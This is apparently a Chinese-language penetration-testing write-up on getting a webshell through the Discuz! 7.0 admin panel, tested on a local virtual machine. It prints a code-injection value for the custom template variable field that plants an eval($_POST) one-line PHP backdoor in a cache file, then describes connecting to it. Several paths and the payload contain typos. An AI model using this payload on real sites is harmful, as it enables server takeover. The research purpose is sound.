探索黑客技术攻防,实战研究与安全创新

导航菜单

Discuz!7.0渗透测试研究

一、前言

Discuz!是国内使用非常广泛的一个论坛系统,目前最新的版本是7.0,前段时间有人在网上公布了一个在Discuzi 7.0后台获取Webshell的方法,但是该方法的局限性非常大,需要论坛创始人的密码才行,可以说成功率很低。今天我们就来实践另一种在后台获取Webshell的方法,其实也不能说是新方法,因为也已经流传很久了,只是不被广大朋友知晓而已。

二、分析

我在本地电脑搭建起虚拟机,安装好了Discuz!7.0论坛,先来看位于admin目录下的vles.inc.php文件。


这段代码是设置风格的变量,经过对post数据的严格检查,被写入数据痒的数据已经变的十分安全。

我在include文件夹中找到了cache.func.php文件,里面有updatecache这个函数的定义,代码很长,就不贴出来了,主要功能就是从数据库中读出数据,处理后再写文件。下面我们来看在cache.func.php文件中的另一段代码:

真正的缺陷就出在这里,在处理value值的时候没有处理之前我们提交的key的值,这样就使得我们拥有了管理员权限(具有风格编辑权限),也就可以直接获取Webshell了。

三、实践

我先登录了在本地搭建的Discuz1 7.0论坛的后台,地址为“http://192.168.23.129/MyPpSite/Discuz7/admincp.php?”。在浏览器中提交地址“http://192.168.23.129/MyPhpSite/Dicuz7/adminp.php?action=styles&opration=edit&id=1&adv=1”,就来到了“界面”下的“风格管理”,再找到最下面的”自定义模板变量”。

在“变量”下的“新增”栏中填入Clzzy','#999');aval($_POST[CLZZY]);//,“替换内容”可以随便填写,然后点击“提交”按钮,这样我们的PHP一句话木马就成功的绕过了getcachevars函数的检查,并通过updatecache函数写入到forumdata\cache\style1.php]文件中了。我们打开这个文件看看,大家仔细查看图中那些定义的变量,就会知道我们的“变量”为什么要写成Clzzy','#999');eval($POST[CLZZY])://了。

QQ截图20170123160049.png

PHP已经成功的写入了,我们来连接一下,使用lanker微型PHP客户端连接,在“地址”栏填写“http://192.168.23.129/MyPpSite/Discuz7/foumdal/ache/style_l.php”,成功的连接上了。

四、小结

本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。

相关推荐